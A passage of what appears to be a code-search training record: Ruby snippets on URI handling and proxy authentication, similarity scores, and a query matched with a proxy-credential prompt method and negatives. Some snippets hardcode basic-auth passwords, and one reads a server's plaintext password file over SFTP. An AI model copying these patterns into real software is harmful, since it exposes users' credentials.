uri.fragment\n end\n\n # Return joined URI\n RDF::URI.new(**joined_parts)\n end",
"def normalize_uri\n if @uri.start_with? '/api/'\n return @uri\n else\n return \"/api/#{@uri}\"\n end\n end",
"def merge(oth)\n rel = parser.send(:convert_to_uri, oth)\n\n if rel.absolute?\n #raise BadURIError, \"both URI are absolute\" if absolute?\n # hmm... should return oth for usability?\n return rel\n end\n\n unless self.absolute?\n raise BadURIError, \"both URI are relative\"\n end\n\n base = self.dup\n\n authority = rel.userinfo || rel.host || rel.port\n\n # RFC2396, Section 5.2, 2)\n if (rel.path.nil? || rel.path.empty?) && !authority && !rel.query\n base.fragment=(rel.fragment) if rel.fragment\n return base\n end\n\n base.query = nil\n base.fragment=(nil)\n\n # RFC2396, Section 5.2, 4)\n if !authority\n # Difference from URI::Generic -- handle drive letter\n base_path = base.path\n rel_path = rel.path\n if base_path && rel_path\n if rel_path =~ %r[\\A(\\.\\.(?=/|\\z)|/(?![A-Z]:(/|\\z)))]i && base_path.sub!(%r[\\A/?[A-Z]:(?=/|\\z)]i, '')\n base.set_path($~[0] + merge_path(base_path, rel_path))\n else\n base.set_path(merge_path(base_path, rel_path))\n end\n end\n else\n # RFC2396, Section 5.2, 4)\n base.set_path(rel.path) if rel.path\n end\n\n # RFC2396, Section 5.2, 7)\n base.set_userinfo(rel.userinfo) if rel.userinfo\n base.set_host(rel.host) if rel.host\n base.set_port(rel.port) if rel.port\n base.query = rel.query if rel.query\n base.fragment=(rel.fragment) if rel.fragment\n\n return base\n end",
"def normalize_route_configuration(uri_path, position, configuration_data)\n uri_path = uri_path[1..-1] if uri_path.start_with?('/')\n uri_path = uri_path.chomp('/').split('/')\n recursive_traverse_uri(regex_to_data = {}, position, uri_path, configuration_data)\n end",
"def test_equality\n uri_string = \"http://foobar.com/xyz/\"\n uri = N::URI.new(uri_string)\n uri_2 = N::URI.new(uri_string)\n uri_other = N::URI.new(\"http://otheruri.com/\")\n \n assert_equal(uri, uri_string)\n assert_equal(uri, uri)\n assert_equal(uri, uri_2)\n assert_not_equal(\"http://something.org\", uri)\n assert_not_equal(uri, uri_other)\n assert_not_equal(uri, Hash.new)\n end",
"def clean_uri(uri)\n uri = uri.dup\n uri.path = \"\"\n uri.query = nil\n uri.fragment = nil\n uri\n end",
"def test_normalizes_both_delegate_urls\n p = create('julik', DOMAIN, \n :openid_server => 'xxx.com', :openid_delegate => 'xyz.org/x')\n assert_equal 'xxx.com', p.openid_server, \n \"The URL should be normalized with HTTP scheme and trailing slash\"\n assert_equal 'xyz.org/x', p.openid_delegate, \n \"The URL should be normalized with HTTP scheme\"\n end",
"def populate_handle\n return unless !self.handle.present? || self.generate_handle\n\n self.handle = handle_base.\n gsub(/[^a-zA-Z0-9]/,'-').\n squeeze('-').\n chomp('-')\n \n self.handle = rand(1000000) if self.handle.empty?\n\n\n base = self.handle\n tries = 1\n\n # Create uniqueness\n while(true)\n match = handle_uniqueness_query(base)\n break unless match.present? && match.id != self.id\n\n base = self.handle + '-' + tries.to_s\n tries += 1\n end\n\n self.handle = base\n end",
"def initialize(uris=DefaultFile)\n @domain_index ||= {}\n @name_hash ||= {}\n\n update(uris)\n end",
"def cleanup_urls\n self.url = self.url.to_s.downcase\n end",
"def normalize_url(url)\n\t\tbegin\n\t\t\turl.strip!\n\t\t\t# Converting the scheme and host to lower case in the process, i.e. 'HTTP://www.Example.com/' => 'http://www.example.com/' \n\t\t\t# Normalize the base\n\t\t\tbase=url_2_site(url) \n\t\t\t# Case#1, remove the trailing dot after the hostname, i.e, 'http://www.yahoo.com./' => 'http://www.yahoo.com/'\n\t\t\tbase=base.sub(/\\.\\/$/,'/')\n\t\t\t# Normalize the relative path, case#1\n\t\t\t# retrieve the file path and remove the first '/' or '.', \n\t\t\t# i.e. 'http://www.example.com/mypath' or 'http://www.example.com/./mypath' => 'mypath'\n\t\t\tpath=url_2_path(url).sub(/^(\\/|\\.)*/,'')\n\t\t\t# Normalize the relative path, case#2\n\t\t\t# Replace dot-segments. \"/../\" and \"/./\" with \"/\", i.e. 'http://www.example.com/../a/b/../c/./d.html\" => 'http://www.example.com/a/c/d.html'\n\t\t\tpath=path.gsub(/\\/\\.{1,2}\\//,'/')\n\t\t\tif path.nil?\n\t\t\t\treturn base\n\t\t\telse\n\t\t\t\treturn base+path\n\t\t\tend\n\t\trescue => ee\n\t\t\tputs \"Exception on method #{__method__} for #{url}: #{ee}\" if @verbose\n\t\t\treturn url\n\t\tend\n\tend",
"def normalize!\n u = normalize\n @url = URI.parse(u)\n self\n end",
"def url_shortener(full_uri)\n mapper = UrlMapper.find_by_original_url(full_uri)\n \n if mapper\n string = mapper.short_url\n else\n string = \"/\"\n 5.times { string << (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }\n begin\n UrlMapper.create!({:short_url => string, :original_url => full_uri})\n rescue\n end\n end\n \"#{APP_CONFIG['url_shortener']}#{string}\"\n end",
"def method_missing_with_named_uri_setting(method_name, *args, &block)\n if uri_name = method_name.to_s[/.*(?=_uri=$)/] and 1 == args.size\n @uris[uri_name.to_sym] = args.first\n else\n method_missing_without_named_uri_setting(method_name, *args, &block)\n end\n end",
"def process_uri(uri)\n require 'open-uri'\n require 'open_uri_redirections'\n open(uri, :allow_redirections => :safe) do |r|\n r.base_uri.to_s\n end\n end",
"def build_uri(uri = nil)\n if uri.nil?\n \"#{@path}\"\n else\n [\"#{@path}\", uri].join(\"/\")\n end\n end",
"def initialize_urls\n find_each(:conditions => {acts_as_url_configuration.url_attribute => nil}) do |instance|\n instance.send :ensure_unique_url\n instance.save\n end\n end"
] | [
"0.6556938",
"0.63961816",
"0.63835734",
"0.62619084",
"0.6094695",
"0.6094695",
"0.6003296",
"0.5844179",
"0.5820089",
"0.57403195",
"0.56830937",
"0.5653757",
"0.56386137",
"0.5622774",
"0.5588163",
"0.5544093",
"0.5544093",
"0.54867285",
"0.54861665",
"0.54801816",
"0.5473902",
"0.5450981",
"0.5434704",
"0.5421626",
"0.53944796",
"0.5381238",
"0.5371845",
"0.5355574",
"0.5325146",
"0.53159106",
"0.5311244",
"0.53107",
"0.53071535",
"0.53071535",
"0.52974635",
"0.5291279",
"0.52845925",
"0.52839464",
"0.5273694",
"0.5269883",
"0.5268871",
"0.5267297",
"0.5264129",
"0.52631104",
"0.52609295",
"0.5255308",
"0.5243094",
"0.5242492",
"0.52407694",
"0.5228783",
"0.5220878",
"0.52197516",
"0.5217272",
"0.52119476",
"0.51893973",
"0.51807183",
"0.5180683",
"0.51648825",
"0.51564485",
"0.51447934",
"0.51387066",
"0.51369214",
"0.5134358",
"0.51275414",
"0.5123351",
"0.51216346",
"0.51151836",
"0.5112872",
"0.5112872",
"0.5107825",
"0.51068705",
"0.5093049",
"0.5091381",
"0.5088813",
"0.5082137",
"0.5082137",
"0.5082137",
"0.5082137",
"0.50813705",
"0.5073744",
"0.5060825",
"0.5059702",
"0.5058067",
"0.5056161",
"0.5050814",
"0.5048391",
"0.50483584",
"0.50450885",
"0.503785",
"0.503611",
"0.5034209",
"0.5032984",
"0.50254756",
"0.50209427",
"0.50208807",
"0.5017471",
"0.50172275",
"0.50171",
"0.501577",
"0.50080717",
"0.50040835"
] | 0.0 | -1 |
get or prompt for a given proxy's username and password | def proxy_userpass(proxies = [proxy[0]])
proxies = [proxies] if proxies.class != Array
proxies.map! {|p| p.downcase }
userpass = (@@proxy_userpass[proxies[0]] || LinkToLoad.ask_for_userpass('proxy'))
proxies.each {|p| @@proxy_userpass[p] = userpass }
userpass
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_password(username)\n password = ask(\"password for #{username}:\") { |q| q.echo = false }\n password\nend",
"def get_password host,username\n print \"Password for \"+username+\"@\"+host+\": \"\n system \"stty -echo\"\n pw = gets.delete(\"\\n\")\n system \"stty echo\"\n puts\n pw\n end",
"def get_user_input\n print \"username: \"\n username = STDIN.gets.chomp\n\n print \"password: \"\n password = STDIN.noecho(&:gets).chomp\n end",
"def ask_for_password(prompt)\n ui.ask_for_password prompt\n end",
"def get_password(prompt='Password: ')\n print prompt\n STDIN.noecho(&:gets).chomp\nend",
"def ask_credentials\n self.username = cli.prompt \"Your GitHub username: \"\n self.password = cli.prompt_secret \"Your GitHub password (never stored): \"\n end",
"def ask_for_password\n echo_off\n password = ask\n puts\n echo_on\n return password\n end",
"def ask_credentials\n self.email = cli.prompt \"Your Pivotal Tracker email: \"\n self.password = cli.prompt_secret \"Your Pivotal Tracker password (never stored): \"\n end",
"def get_username(prompt = 'Enter Nexpose username: ')\r\n ask(prompt) { |query| query.echo = true }\r\nend",
"def http_proxy addr, opts={}\n return Net::HTTP unless addr\n\n host, port = addr.split \":\"\n port ||= opts[:port] || 8080\n\n user = opts[:username]\n pass = opts[:password]\n\n Kronk::Cmd.verbose \"Using proxy #{addr}\\n\" if host\n\n Net::HTTP::Proxy host, port, user, pass\n end",
"def login(options, password = nil) # :yield: recvdata\n login_prompt = /[Ll]ogin[: ]*\\z/n\n password_prompt = /[Pp]ass(?:word|phrase)[: ]*\\z/n\n if options.kind_of?(Hash)\n username = options[\"Name\"]\n password = options[\"Password\"]\n login_prompt = options[\"LoginPrompt\"] if options[\"LoginPrompt\"]\n password_prompt = options[\"PasswordPrompt\"] if options[\"PasswordPrompt\"]\n else\n username = options\n end\n\n if block_given?\n line = waitfor(login_prompt){|c| yield c }\n if password\n line += cmd({\"String\" => username,\n \"Match\" => password_prompt}){|c| yield c }\n line += cmd(password){|c| yield c }\n else\n line += cmd(username){|c| yield c }\n end\n else\n line = waitfor(login_prompt)\n if password\n line += cmd({\"String\" => username,\n \"Match\" => password_prompt})\n line += cmd(password)\n else\n line += cmd(username)\n end\n end\n line\n end",
"def authentication_prompt( )\n puts \"Username:\"\n username = $stdin.gets.chomp\n puts \"Password:\"\n password = $stdin.gets.chomp\n raise NotAuthorized unless username.match(/\\S/)\n raise NotAuthorized unless password.match(/\\S/)\n return {:u => username, :p => password}\n end",
"def parse_proxy_info\r\n raw = @env[\"HTTP_PROXY\"] || @env[\"http_proxy\"]\r\n return {} unless raw\r\n\r\n main_str = raw\r\n .strip\r\n .sub(/^http:\\/\\//, \"\")\r\n .sub(/\\/+$/, \"\")\r\n\r\n auth_str = main_str.match(/(.*)@/).to_a[1].to_s\r\n host_str = main_str.sub(/^.*@/, \"\")\r\n {\r\n host: host_str.sub(/:.*$/, \"\"),\r\n port: host_str.match(/:(.*)/).to_a[1].try(:to_i), # int or nil\r\n user: auth_str.sub(/:.*$/, \"\"),\r\n pass: auth_str.sub(/^.*:/, \"\")\r\n }.select { |_, value| value.present? }\r\n end",
"def askPassword(prompt=\"Enter Password : \")\n ask(prompt) {|q| q.echo = false}\nend",
"def get_user_details\n prompt = prompt_instance\n system(\"clear\")\n username = prompt.ask(\"Please enter username:\") do |q|\n end\n password = prompt.mask(\"Please enter password:\") do |q|\n end\n return username, password\nend",
"def fetch(password)\r\n end",
"def proxyuserpwd=(value)\n Curl.set_option(:proxyuserpwd, value_for(value, :string), handle)\n end",
"def create_pw_client(opts = {})\n usr = opts[:user] || user()\n pw = opts[:password] || password()\n remote = opts[:remote_name] || self.remote_name\n\n logger.info(\"Authorizing #{usr} to work with #{remote}.\")\n\n configure_octokit(opts)\n\n Octokit::Client.new(:login => usr, :password => pw)\n end",
"def set_proxy(address, port, user = T.unsafe(nil), password = T.unsafe(nil)); end",
"def password_prompt(prompt=\"Password: \")\n ui.ask(prompt) { |q| q.echo = false }\n end",
"def ask_for_creds(user=nil)\n if user\n @username = user\n else\n print \"Enter your GApps email address: \"\n @username = gets.chomp.strip.downcase \n # using highline for input on more than one run of a loop causes intermittent errors\n # in Ruby 1.8.7 on Mac OS X 10.8 for some reason. Changed from the highline 'ask' below\n # to the 'print/gets' above.\n #@username = ask(\"Enter your GApps email address: \").strip.downcase if @username == nil\n end\n @password = ask(\"Enter your password: \") { |q| q.echo = \"x\" }\n end",
"def question_prompt(field, opts = {})\n trap(\"INT\") { exit 1 }\n begin\n print \"Please input #{field}: \"\n response = opts[:password] ? STDIN.noecho(&:gets).strip : STDIN.gets.strip\n end until not response.empty?\n response\nend",
"def proxyauth=(value)\n Curl.set_option(:proxyauth, value_for(value, :string), handle)\n end",
"def setup_credentials\n\n cmd = @config[:path] + @command_line_tool + \" \" + @@login_command\n\n Open3.popen3( cmd ) { |input, output, error|\n input.puts @config[:url]\n input.puts @config[:user]\n input.puts @config[:password]\n input.close\n } \n\n end",
"def server\n reply = json_get(target, '/login', key_style)\n return reply if reply && (reply[:prompts] || reply['prompts'])\n raise BadResponse, \"Invalid response from target #{target}\"\n end",
"def set_proxy proxy, port=nil, user=nil, pwd=nil\n\t\t\n\t\t\n\t\tif !proxy\t\n\t\t\t@proxy_host=@proxy_port=@proxy_user=@proxy_pwd=nil \n\t\t\treturn\n\t\tend\n\n\t\tif proxy.class == String \n\t\t\tif !port && !user && !pwd\n\t\t\t\tproxy = URI.parse(proxy)\n\t\t\telse \n\t\t\t\t@proxy_host= host\n\t\t\t\t@proxy_port= port\n\t\t\t\t@proxy_user= user\n\t\t\t\t@proxy_pwd = pwd\n\t\t\tend\n\t\tend\n\t\t\n\t\tif proxy.class == URI::HTTP \n\t\t\t@proxy_host= proxy.host\n\t\t\t@proxy_port= proxy.port\n\t\t\t@proxy_user= proxy.user\n\t\t\t@proxy_pwd = proxy.password\n\t\tend\n\tend",
"def proxy(to)\n response = connection.post(\"/v1/auth/proxy?to=#{to}\")\n case response.status\n when 200\n Success(response.body)\n else\n Failure(\"Status: #{response.status}\\n#{response.body}\")\n end\n end",
"def main\n #generate a table of coutries with proxies and the url to find them\n selTable = getCountries(\"https://proxynova.com\")\n selection = []\n url = \"\"\n command = \"gsettings set org.gnome.system.proxy\"\n #generate menu selection based on the selTable output of getCountries\n selTable.each_with_index do |sel, index|\n selection.push(\"#{index + 1}. #{sel[0]}\")\n end #do\n selection.push(\"#{selection.length + 1}. No proxy\")\n options = HighLine.new\n puts options.list(selection, :columns_across)\n chosen = ask(\"Pick your proxy location: \", Integer){|resp| resp.in = 1..selection.length}\n #if you chose the last option, disable the proxy\n if(chosen.eql? selection.length)\n puts \"Proxy disabled.\"\n system \"#{command} mode 'none'\"\n exit\n else #obtain proxy address and port values according to user choice and update system proxy settings\n puts \"#{selection[chosen - 1].split('(')[0].split('.')[1].strip} it is...\"\n proxy = getProxy(selTable[chosen - 1][1])\n system \"#{command}.http host '#{proxy[0]}'\"\n system \"#{command}.http port '#{proxy[1]}'\"\n system \"#{command}.https host '#{proxy[0]}'\"\n system \"#{command}.https port '#{proxy[1]}'\"\n system \"#{command}.socks host '#{proxy[0]}'\"\n system \"#{command}.socks port '#{proxy[1]}'\"\n system \"#{command} mode 'manual'\"\n puts \"Proxy set to #{proxy[0]}:#{proxy[1]}\"\n exit\n end\nend",
"def using_authenticated_proxy?; end",
"def proxy_pass; end",
"def getproxy\n proxy = (ENV['HTTP_PROXY'] == nil)? ENV['http_proxy'] : ENV['HTTP_PROXY']\n return proxy\n end",
"def ask_for_user_input(msg=nil, opts={})\n print msg if msg\n print \": \"\n STDOUT.flush\n if opts[:password]\n system \"stty -echo\"\n result = STDIN.gets\n system \"stty echo\"\n puts\n else\n result = STDIN.gets\n end\n result.chomp\nend",
"def login opts={}\n opts = @telnet_options.merge opts\n\n # don't log in if username is not set\n if opts[:username].nil?\n @logged_in = Time.now\n return\n end\n\n begin\n output = waitfor opts[:login_prompt]\n\n if opts[:password]\n # login with username and password\n output << cmd(opts[:username], prompt: opts[:password_prompt])\n output << cmd(opts[:password], hide: true)\n else\n # login with username only\n output << cmd(opts[:username])\n end\n rescue Timeout::Error\n e = LoginFailed.new(\"Timed out while expecting some kind of prompt.\")\n e.set_backtrace $!.backtrace\n raise e\n end\n\n @logged_in = Time.now\n output\n end",
"def proxy_command\n !config.proxy_user and log_and_raise(SSHError, \"You must specify an proxy user in order to SSH proxy.\")\n !config.proxy_host_name and log_and_raise(SSHError, \"You must specify an proxy host_name in order to SSH proxy.\")\n\n process_keys\n verbosity = ((ENV['LOG_LEVEL'] == \"DEBUG\") ? '-vv' : '-q')\n\n command = Array.new\n # command << [ %(sshpass -p '#{config.proxy_password}') ] if config.proxy_password\n command << [ %(ssh) ]\n command << [ verbosity ]\n command << [ \"-x\" ]\n command << [ \"-a\" ]\n command << [ \"-o\", \"UserKnownHostsFile=/dev/null\" ]\n command << [ \"-o\", \"StrictHostKeyChecking=no\" ]\n command << [ \"-o\", \"KeepAlive=yes\" ]\n command << [ \"-o\", \"ServerAliveInterval=60\" ]\n !config.proxy_keys.nil? and !config.proxy_keys.empty? and [config.proxy_keys].flatten.compact.each do |proxy_key|\n command << [ \"-i\", proxy_key ]\n end\n command << [ \"-p\", config.proxy_port ] if config.proxy_port\n command << \"#{config.proxy_user}@#{config.proxy_host_name}\"\n command << \"'/usr/bin/env nc %h %p'\"\n command = command.flatten.compact.join(' ')\n config.ui.logger.debug { \"proxy_command(#{command.inspect})\" }\n command\n end",
"def signup # demande un mot de passe sans l'afficher\r\n prompt = \"Définis ton mot de passe, stp > \"\r\n print prompt\r\n $password = STDIN.noecho(&:gets).chomp # mot de passe caché\r\n puts \"\"\r\nend",
"def prompt_username\n TTY::Prompt.new.ask(\"Redacted username?\", required: true, modify: :strip)\n end",
"def get_username_and_password_diligently\n while true\n credentials = get_username_and_password_and_authenticate\n if credentials == false\n puts \"Could not authenticate, try again?\"\n puts \"y/n\"\n\n again = STDIN.gets.strip\n case again.downcase\n when \"y\"\n when \"n\"\n return false\n end\n else\n return credentials\n end\n end\n end",
"def pipproxyarg\n proxy = getproxy\n return ((proxy != nil) ? [\"--proxy\", proxy] : [])\n end",
"def http_proxy\n @http_proxy ||= begin\n proxy = get_env('HTTP_PROXY') || return\n proxy = \"http://#{proxy}\" unless proxy =~ /^https?:/\n uri = URI.parse(proxy)\n uri.user ||= get_env('HTTP_PROXY_USER')\n uri.password ||= get_env('HTTP_PROXY_PASS')\n uri\n end\n end",
"def request_config(config)\n cliio = HighLine.new\n config.login ||= cliio.ask(\"login: \")\n config.password ||= cliio.ask(\"password: \") {|q| q.echo = '*' }\n end",
"def password_request\n password_input = @prompt.mask(\"Please enter your password, or type quit.\")\n if password_input == @user.password\n puts \"Successful login!\"\n @user\n user_menu_runner\n #user can quit this process\n elsif password_input == \"quit\" || password_input == \"exit\"\n exit\n else\n #try again\n puts \"Sorry, incorrect password. Try again.\" # add esscape option\n password_request\n end\n end",
"def credz\n return @target, @port, @user, @pass, @domain, @hashpass, @hostname\nend",
"def open( host, port )\n connect_string = \"CONNECT #{host}:#{port} HTTP/1.0\"\n\n socket = TCPSocket.new( @proxy_host, @proxy_port )\n socket.puts connect_string\n socket.puts\n\n resp = parse_response( socket )\n\n return socket if resp[:code] == 200\n\n socket.shutdown\n raise ConnectError, resp.inspect unless resp[:code] == 407\n\n user = proxy_user\n passwd = proxy_password\n\n raise UnauthorizedError, \"no proxy user given\" unless user\n\n auth = resp[:headers][\"Proxy-Authenticate\"]\n scheme, parms = auth.split( / /, 2 )\n\n case scheme\n when \"Basic\"\n credentials =\n Base64.encode64( \"#{user}:#{passwd}\" ).gsub( /\\n/, \"\" )\n else\n raise NotImplementedError,\n \"authorization scheme #{scheme.inspect} is not supported\"\n end\n\n socket = TCPSocket.new( @proxy_host, @proxy_port )\n socket.puts connect_string\n socket.puts \"Proxy-Authorization: #{scheme} #{credentials}\"\n socket.puts\n\n resp = parse_response( socket )\n\n raise ConnectError, resp.inspect if resp[:code] != 200\n\n return socket\n end",
"def proxy_user; end",
"def ask_github_password(username = nil)\n username ||= github_username\n print \"Github password for #{username} (never stored): \"\n if $stdin.tty?\n password = askpass\n puts ''\n password\n else\n # in testing\n $stdin.gets.chomp\n end\n rescue Interrupt\n abort\n end",
"def get_proxy_from_env\n env_proxy = ENV['http_proxy'] || ENV['HTTP_PROXY']\n\n return nil if env_proxy.nil? or env_proxy.empty?\n\n uri = URI.parse env_proxy\n\n if uri and uri.user.nil? and uri.password.nil? then\n # Probably we have http_proxy_* variables?\n uri.user = escape(ENV['http_proxy_user'] || ENV['HTTP_PROXY_USER'])\n uri.password = escape(ENV['http_proxy_pass'] || ENV['HTTP_PROXY_PASS'])\n end\n\n uri\n end",
"def prompt_password\n TTY::Prompt.new.mask(\"Redacted password?\", required: true)\n end",
"def load_credentials(username, password)\n\n if username.empty? || password.empty?\n # unused feature, for now \n\t #@username, @password = RLCredentials.load(\"lb\")\n print \"username: \"\n @username = STDIN.gets.chomp\n print \"password: \"\n @password = STDIN.noecho(&:gets).chomp\n print \"\\n\"\n else\n @username = username\n @password = password\n end\n\n # we'll want to test the credentials here by calling the rest_login\n call_rest_login\n\n end",
"def setup_proxy(proxy_server, port, user_name = nil, password = nil)\n self.http_proxy_setting = {\n http: {\n server: proxy_server,\n port: port\n }\n }\n if user_name and password\n self.http_proxy_setting[:http][:user_name] = user_name\n self.http_proxy_setting[:http][:password] = password\n end\n end",
"def prompt_for_password(message: nil)\n prompt_for_text(echo: :off, message: message)\nend",
"def getproxy\n proxy = (ENV['HTTP_PROXY'] == nil)? ENV['http_proxy'] : ENV['HTTP_PROXY']\n return proxy\n end",
"def proxy_password\n ENV[\"CHEF_API_PROXY_PASSWORD\"] || config[\"CHEF_API_PROXY_PASSWORD\"]\n end",
"def password(prompt)\n STDIN.noecho do\n begin\n ask(prompt)\n ensure\n puts\n end\n end\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def setProxy(host, port, user_name, password)\n @helper.setProxy(host, port, user_name, password)\n self\n end",
"def http_basic_authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == \"mustang\" && password == 'mustang' #\"must@ngs0undm3l0n\"\n end\n end",
"def proxy_params\n params[:proxy]\n end",
"def send_credentials\n dputs __method__.to_s\n login_req = setup_http_request($ident, @cookie, {:arg => [$CONF['user'], CGI.escape($CONF['pass'])]})\n res = @http.request(login_req)\n get_cookie(res)\n end",
"def sftptrialpwget( host, username, password )\n require 'net/ssh'\n require 'net/http'\n require 'net/sftp'\n\n @trialpw = nil\n uri = URI.parse(\"http://#{host}\")\n\n begin\n # Check if the server is up first for four minutes\n # Using HTTP\n Timeout::timeout(240) do\n begin\n while ( Net::HTTP.get_response(uri).code != \"200\" ) do\n sleep 2\n end\n rescue Errno::ECONNREFUSED\n # Connection refused means the server is coming up\n # But the SnapLogic server is not up yet\n retry\n end\n end\n\n Net::SFTP.start(host, username, :password => password) do |sftp|\n begin\n @data = sftp.download!(\"/opt/snaplogic/config/textpasswords\").split('\\n')\n rescue RuntimeError\n # File not found maybe a earlier version of snaplogic\n @data = nil\n @trialpw = 'thinkcloud'\n end\n\n @data.each do |entry|\n entry = entry.split(' ')\n if (entry.first == \"admin:\")\n @trialpw = entry.second\n break\n end\n end\n end\n\n rescue Timeout::Error\n # This means that the server didn't come up, timeout\n raise\n rescue Net::SSH::AuthenticationFailed\n # Do nothing \"Authentication failed\"\n rescue SocketError\n # Do nothing the hostname is bogus\n end # end of rescue\n @trialpw\n end",
"def prompt_for_password( prompt=\"Password: \" )\n\trval = nil\n\tnoecho( true ) do\n\t\t$stderr.print( prompt )\n\t\trval = ($stdin.gets || '').chomp\n\tend\n\t$stderr.puts\n\treturn rval\nend",
"def authenticate\n authenticate_or_request_with_http_basic(\"algo\") do |username, password|\n username == \"dupa\" && password == \"dupa\"\n end\n end",
"def fiddler_proxy()\n '--proxy=127.0.0.1:8888'\n end",
"def prompt_for_user_password!\n e.execute_as_user('')\n end",
"def find_or_prompt_for_credentials\n client_id = Google::Auth::ClientId.from_hash(CLIENT_SECRET_HASH)\n token_store = Google::Auth::Stores::RedisTokenStore.new(:prefix => REDIS_KEY_PREFIX)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization:\"\n puts url\n\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end",
"def proxy\n ENV['BETTERY_PROXY']\n end",
"def login(user = \"anonymous\", passwd = nil, acct = nil)\n if user == \"anonymous\" and passwd == nil\n passwd = getaddress\n end\n\n resp = \"\"\n synchronize do\n\t resp = sendcmd('USER ' + user)\n\t if resp[0] == ?3\n\t resp = sendcmd('PASS ' + passwd)\n end\n end\n\n @welcome = resp\n\n end",
"def setup()\n # simulate a \"startup\" function (not available in my Test Unit version)\n if @@cmptr.nil?\n @@cmptr = 0 # Set to 0 at first run to make confiuration only once\n print \"Do you need a HTTP proxy to connect to internet? (y/n) [n]: \"\n conf_proxy = gets.chomp()\n @@prox_ip = @@prox_port = @@prox_login = @@prox_pwd = nil\n if conf_proxy.downcase() == 'y'\n print \"Please enter the HTTP proxy IP: \"\n @@prox_ip = gets.chomp()\n print \"Please enter the HTTP proxy port: \"\n @@prox_port = gets.chomp()\n print \"Please enter the HTTP proxy login (if any): \"\n @@prox_login = gets.chomp()\n if @@prox_login.length == 0\n @@prox_login = nil\n else\n print \"Please enter the HTTP proxy password (if any): \"\n @@prox_pwd = gets.chomp()\n end\n end\n end\n end",
"def netrc_credentials(host)\n # Don't crash just b/c the gem is not installed\n return nil if !use_netrc\n obj = Net::Netrc.locate(host)\n obj ? [obj.login, obj.password] : nil\n end",
"def proxy\n ENV['HYPERKIT_PROXY']\n end",
"def proxy\n return @proxy if @proxy\n return if not Utility.is_windows?\n\n handle = WinProxy.open(@@HTTP_header['User-Agent'], 1, nil, nil, 0)\n return @proxy if handle.null?\n\n options = WinProxy::Options.new\n options[:flags] = 1\n options[:auto_detect_flags] = 2\n options[:auto_logon] = 1\n info = WinProxy::Info.new\n res = WinProxy.get_proxy(handle, (uri.to_s + \"\\0\").encode('utf-16le'), options, info)\n return @proxy if res == 0 # the call failed so return default proxy\n return unless info.proxy?\n\n puts \"TODO: handle proxy bypass - #{info[:bypass].read_16bit_c_string}\" unless info[:bypass].null?\n\n proxies = info[:proxy].read_16bit_c_string.strip.split(';').select {|p| not p.empty? }.map {|p| p.split(':') }\n @proxy = proxies[0]\n @proxy << '80' if @proxy.length == 1\n @proxy += proxy_userpass(proxies.map {|p| p[0] })\n\n WinProxy.free(info[:proxy])\n WinProxy.free(info[:bypass]) unless info[:bypass].null?\n\n @proxy\n end",
"def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n username == ENV['USERNAMEV'] && password == ENV['PASSWORDV'] \n end \n end",
"def authenticate\n authenticate_or_request_with_http_basic do |user_name, password|\n # Change these to username and password required\n user_name == \"shitlister\" && password == \"letmein\"\n end\n end",
"def open(host, port, connection_options)\n socket = Socket.tcp(proxy_host, proxy_port, nil, nil,\n connect_timeout: connection_options[:timeout])\n\n methods = [METHOD_NO_AUTH]\n methods << METHOD_PASSWD if options[:user]\n\n packet = [VERSION, methods.size, *methods].pack(\"C*\")\n socket.send packet, 0\n\n version, method = socket.recv(2).unpack(\"CC\")\n if version != VERSION\n socket.close\n raise Net::SSH::Proxy::Error, \"invalid SOCKS version (#{version})\"\n end\n\n if method == METHOD_NONE\n socket.close\n raise Net::SSH::Proxy::Error, \"no supported authorization methods\"\n end\n\n negotiate_password(socket) if method == METHOD_PASSWD\n\n packet = [VERSION, CMD_CONNECT, 0].pack(\"C*\")\n\n if host =~ /^(\\d+)\\.(\\d+)\\.(\\d+)\\.(\\d+)$/\n packet << [ATYP_IPV4, $1.to_i, $2.to_i, $3.to_i, $4.to_i].pack(\"C*\")\n else\n packet << [ATYP_DOMAIN, host.length, host].pack(\"CCA*\")\n end\n\n packet << [port].pack(\"n\")\n socket.send packet, 0\n\n version, reply, = socket.recv(2).unpack(\"C*\")\n socket.recv(1)\n address_type = socket.recv(1).getbyte(0)\n case address_type\n when 1\n socket.recv(4) # get four bytes for IPv4 address\n when 3\n len = socket.recv(1).getbyte(0)\n hostname = socket.recv(len)\n when 4\n ipv6addr hostname = socket.recv(16)\n else\n socket.close\n raise ConnectError, \"Illegal response type\"\n end\n portnum = socket.recv(2)\n\n unless reply == SUCCESS\n socket.close\n raise ConnectError, \"#{reply}\"\n end\n\n return socket\n end",
"def get_login_info\n username = ask(\"Acunote Login name:\")\n password = ask(\"Acunote(LDAP) Password:\") {|q| q.echo = false}\n {:username => username, :password => password}\n end",
"def password\n conf['api']['password']\n end",
